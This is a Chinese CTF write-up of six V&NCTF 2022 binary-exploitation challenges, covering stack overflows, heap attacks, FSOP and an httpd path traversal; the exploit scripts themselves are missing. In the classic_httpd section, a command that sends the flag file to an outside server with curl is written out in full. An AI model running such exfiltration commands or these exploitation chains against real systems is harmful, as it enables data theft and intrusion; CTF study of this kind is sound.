V&NCTF2022-pwn-wp
VNCTF-2022-pwn-wp
V&NCTF2022
比赛中pwn
的题wp
,更新完毕。
- 上午在
HideOnHeap
中浪费了太多的时间,尝试了好几个思路都失败了,以后还是不能太头铁(下次还敢 - 平时得多积累一些有用的函数或脚本,比如
_IO_str_finish
拿shell
的IO_FILE
构造函数
clear_got
checksec
没有给libc
,后来测出来远程使用的版本是libc6_2.23-0ubuntu10_amd64
。
漏洞点
main
函数就一个简单直接的栈溢出,但是got
表被清空,没完全清空,还剩下__libc_start_main
。后面的stdout
和stdin
也都在数据段上。
利用思路
清空了got
表,考虑使用ret2syscall
,发现程序中有syscall; ret
。这里主要是利用了一个gadget
:
|
|
结合end2
函数,正好可以泄露出libc
地址后,执行构造syscall
调用read
函数,再重新给got
表填上。最终思路为:
-
栈溢出并利用
end2
泄露出__libc_start_main
地址和_IO_2_1_stdout_
地址 -
使用libc-search1或者libc-search2查询出远程的
libc
版本 -
重新给
puts@got
填为system
-
调用
puts@plt
,实际执行system("/bin/sh")
获取shell
EXP
|
|
远程打:
easyROPtocol
这题其实本地很快出来了,但是远程打10
次成功1
次,搞不好中间哪一次就挂了,不知道是不是网的问题。每次send 0x1000
个字节过去,要睡眠好长时间才能得到远程的回显,而且中间极容易挂,其实可以把报文长度调小一点,只要能打栈溢出就行。赛后尝试每次发送0xe00
大小的字节过去,但还是挂(真是要命
所以这题啊,多试试,试试就逝世。
checksec
没有开PIE
和栈保护。远程的libc
版本为:libc6_2.31-0ubuntu9.2_amd64
。
开启了沙箱:
漏洞点
在submit
函数中,存在栈溢出:
利用思路
漏洞点很简单,关键是需要构造好报文,然后可以触发submit
中的栈溢出漏洞。
分析出报文的组成为:
|
|
计算校验和就是把整个报文加上一个fakeipheadfa
,每两个字节取整数,然后异或,最后得到的值填充到check_sum
。
因此,利用思路总结如下:
- 构造好
4
个报文 - 利用栈溢出,使用
write
泄露出libc
地址(submit
函数溢出后rdx
为6
,正好可以泄露地址) - 再执行一次
main
函数 - 使用
libc
中的gadgets
,用orw
拿flag
EXP
|
|
远程打:
FShuiMaster
比较常规的题,有一说一,这一题做得最快。
checksec
保护全开,远程的libc
版本为:libc6_2.27-3ubuntu1_amd64
。
漏洞点
在Edit
函数,存在off by null
:
利用思路
分析题目后得知,只能分配largebin chunk
,可输入的范围大概处于0x430 ~ 0x700
;增删改查都有。使用largebin attack
结合一个off by null
,然后打_IO_list_all
即可完成利用。1
思路总结如下:
- 利用
malloc
残存的地址,泄露出libc
地址和heap
地址。泄露堆地址可以用largebin chunk
上残存的地址。 largebin attack
,修改_IO_list_all
为堆地址exit(0) --> _IO_flush_all_lockp ---> IO_OVERFLOW
调用链完成利用。libc
版本不高,这里我使用的是_IO_str_finish
。
EXP
|
|
远程打:
classic_httpd
后悔了没有先看这个,这题似乎出得有点bug
,对文件路径的校验存在问题,可以直接目录穿越拿到flag
。
如题,想起最开始学httpd
的时候看到的一个项目,虽然年代久远,但是很classic
。
checksec
泄露地址后发现,远程的libc
版本为:libc6_2.31-0ubuntu9.2_amd64
。
漏洞点
- 对
HTTP
报文请求行处理时候的bug
,可以直接读到flag
- 在
sub_1EB2
函数中,两处可以泄露地址:
- 在
sub_1EB2
函数中还有1
处可以任意地址写任意值:
利用思路
对于漏洞1
,直接发送:
|
|
对于其他漏洞的思路:
首先分析出对应的结构体为:
|
|
处理流程梳理:
|
|
然后,总结思路如下:
- 泄露程序数据段地址,得到程序加载的基地址
- 泄露
libc
地址 - 修改
strcmp
为system
地址 - 构造报文,使远程执行命令
system("curl -X POST -F \"flag=@/flag\" ip:port")
,这里的ip:port
,可以是公网服务器的地址和监听端口,或者在buuoj
上用小号去linux basic
开个机器(这里没法用bash
反弹shell
,buu
之前修改规则。但是检测到有curl
,因此可利用该命令输出flag
)
EXP
|
|
远程打,利用漏洞1
:
利用其他漏洞,首先在公网服务器上监听一个端口:
然后攻击:
得到flag
:
BingDwenDwen
这题看都没看,没想到也是简单题
checksec
漏洞点
拍脸上的栈溢出:
利用思路
题目贴心的给出了需要的gadgets
,那么直接创建socket
,反向连接公网服务器即可。做这题的时候我在本地重新编译了一份。
EXP
|
|
远程打:
HideOnHeap
这题一开始思路错了,都没往malloc_assert
上去想……想着有啥侧信道的技巧可以爆破出来,后来尝试了几个,均因为版本太高,没法利用。赛后看了wp
,自己复现一遍。
checksec
远程的libc
版本为:libc6_2.31-0ubuntu9.2_amd64
。
漏洞点
在delete
分支有个double free
利用思路
程序最开始,将flag
读到了堆上,因此,要想办法泄露堆上的信息。那么在assert
中,会调用__fxprintf(stderr, ...)
,这个时候只要劫持了stderr
,则可进行FSOP
。题目没有IO
,没办法泄露地址,基本上把拿shell
的路堵死了。此处借鉴house of corrosion
的思路,和house of husk
很像,都是打global_max_fast
,然后用fastbin chunk
进行操作读写。libc-2.31
对one_gdaget
的执行条件更为严格。所以,最终还是走泄露这条路。
综上,利用思路为:
- 利用
house of botcake
构造overlapped chunk
,利用tcache bin poisoning
,爆破1/16
,修改global_max_fast
- 同上,分配到
stderr
结构体处,为修改flags
等做准备 - 利用大的
fastbin chunk
,修改stderr
的_IO_write_base/ptr/end
,保证_IO_write_base
距离flag
的堆地址很近 - 触发一个
assert
,我选择的是largebin chunk
入链时的assert(chunk_is_main_arena(p))
,此时会打印出flag
EXP
|
|
远程打:
引用与参考
1、My Blog
2、Ctf Wiki
3、pwncli